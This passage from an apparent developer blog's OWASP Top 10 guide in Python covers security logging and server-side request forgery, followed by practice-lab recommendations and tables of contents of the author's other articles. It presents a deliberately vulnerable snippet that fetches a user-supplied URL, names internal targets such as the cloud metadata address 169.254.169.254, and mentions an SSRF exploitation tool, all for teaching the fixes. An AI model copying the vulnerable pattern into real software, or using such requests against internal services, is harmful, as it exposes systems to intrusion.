    if not isinstance(obj, dict) or 'name' not in obj:
        raise ValueError
except (json.JSONDecodeError, ValueError):
    abort(400)

And pin dependency hashes (using pipenv or poetry) to prevent supply chain attacks.

Tool: in-toto or Sigstore for integrity verification.

A09: Security Logging and Monitoring Failures

What it is: You don’t log attacks, or you log sensitive data, or you never monitor logs. So you only discover a breach months later (if ever).

Vulnerable — no logging:

@app.route('/login')
def login():
    # user logs in – but no record of failed attempts
    ...

Fix — log security‑relevant events:

import logging
logging.basicConfig(level=logging.INFO)

@app.route('/login')
def login():
    if login_failed:
        logging.warning(f"Failed login attempt for {username} from {request.remote_addr}")
    else:
        logging.info(f"Successful login for {username}")

Don’t log passwords or session tokens. Send logs to a central system (ELK, Splunk) and set up alerts for multiple failures.

Tool: OWASP AppSensor — defines detection points.

A10: Server‑Side Request Forgery (SSRF)

What it is: Attacker makes your server send requests to internal systems (like http://localhost:8080/admin or AWS metadata endpoint 169.254.169.254).

Vulnerable code (fetching a user‑supplied URL):

import requests
url = request.args.get('webhook')
response = requests.get(url)   # Can hit internal services!

Fix — allowlist allowed domains / IPs:

from urllib.parse import urlparse

allowed_hosts = ['api.example.com', 'trusted-service.com']
parsed = urlparse(url)
if parsed.hostname not in allowed_hosts:
    abort(400)
response = requests.get(url, timeout=5)

Better: use a separate internal firewall and disable HTTP redirects.

Tool: SSRFmap (automated exploitation tool).

How to Test Yourself (Hands‑On)

Reading about vulnerabilities isn’t enough — you need to practice.

I recommend these free, safe environments:

PortSwigger Web Security Academy — free labs for every OWASP Top 10 category.
OWASP Juice Shop — an intentionally vulnerable web app you can run locally (in Docker) and hack.
TryHackMe or HackTheBox — beginner rooms for web security.

And remember the sandbox principle from my last article: always run unknown code or vulnerable apps inside isolated VMs (VirtualBox, VMware) or Docker containers. That way, even if you intentionally exploit a vulnerability, your main machine stays safe.

Want More?

If you enjoyed this practical security guide, you might also like:

🔗 LinkedIn:
https://www.linkedin.com/in/mahdi-shamlou-3b52b8278
📱 Telegram:
https://telegram.me/mahdi0shamlou
📸 Instagram:
https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

DEV Community: Mahdi SHamlou | مهدی شاملو

Mahdi Shamlou | 24 Code Smells and How to Fix Them: A Complete Refactoring Guide

Before I Read This Book

1. Mysterious Name

2. Duplicated Code

3. Long Function

4. Long Parameter List

5. Global Data

6. Mutable Data

7. Divergent Change

8. Shotgun Surgery

9. Feature Envy

10. Data Clumps

11. Primitive Obsession

12. Repeated Switches

13. Loops

14. Lazy Element

15. Speculative Generality

16. Temporary Field

17. Message Chains

18. Middle Man

19. Insider Trading

20. Large Class

21. Alternative Classes with Different Interfaces

22. Data Class

23. Refused Bequest

24. Comments

Smell → Catalog Quick Reference

Key Takeaways

Design Patterns & Architecture Series

Want More Deep Dives?

Mahid Shamlou | SOLID Principles in Python (2026): The Foundation Behind Every Design Pattern

What Is SOLID?

1. Single Responsibility Principle (SRP)

Bad code (multiple responsibilities crammed into one class)

Good code (one responsibility per class)

2. Open/Closed Principle (OCP)

Bad code (must modify existing code for every new type)

Good code (extend without touching existing code)

3. Liskov Substitution Principle (LSP)

Bad code (subclass breaks the parent's contract)

Good code (don't force an "is-a" that isn't behaviorally true)

4. Interface Segregation Principle (ISP)

Bad code (a bloated interface forces irrelevant methods on everyone)

Good code (small, role-specific interfaces)

5. Dependency Inversion Principle (DIP)

Bad code (high-level logic tightly coupled to a low-level detail)

Good code (depend on an abstraction, inject the concrete implementation)

Comparison Table

Key Takeaways

Design Patterns & Architecture Series

Want More Deep Dives?

Mahdi Shamlou | Python OOP, Finally Explained: From Classes to Metaclasses

1. What Is OOP?

2. The Four Pillars of OOP, In Detail

2.1 Encapsulation

2.2 Inheritance

2.3 Polymorphism

2.4 Abstraction

3. Classes, Objects, and What's Actually Going On Under the Hood

Attributes: instance vs. class

So what is a class, really? Meet type and metaclasses

4. OOP in Practice: Methods, Encapsulation, Inheritance, Polymorphism, Abstraction

Instance, class, and static methods

Encapsulation, the Pythonic way

Inheritance and composition

Polymorphism and duck typing

Abstraction with ABC

Dunder methods: making your objects feel native

Dataclasses: less boilerplate for data-holding classes

5. super() and Friends: One Section for All the "Which Method Runs?" Confusion

super() in single inheritance

Multiple inheritance and MRO

super() in multiple inheritance follows the MRO, not just "the parent"

Mixins: multiple inheritance, scoped responsibly

6. __slots__ and the Other Attribute Tricks Worth Knowing

Other attribute-related tools worth having in your pocket

Comparison Table: Choosing the Right Tool

Key Takeaways

Design Patterns & Architecture Series

So what is a class, really? Meet `type` and metaclasses

5. `super()` and Friends: One Section for All the "Which Method Runs?" Confusion

`super()` in single inheritance

`super()` in multiple inheritance follows the MRO, not just "the parent"

6. `slots` and the Other Attribute Tricks Worth Knowing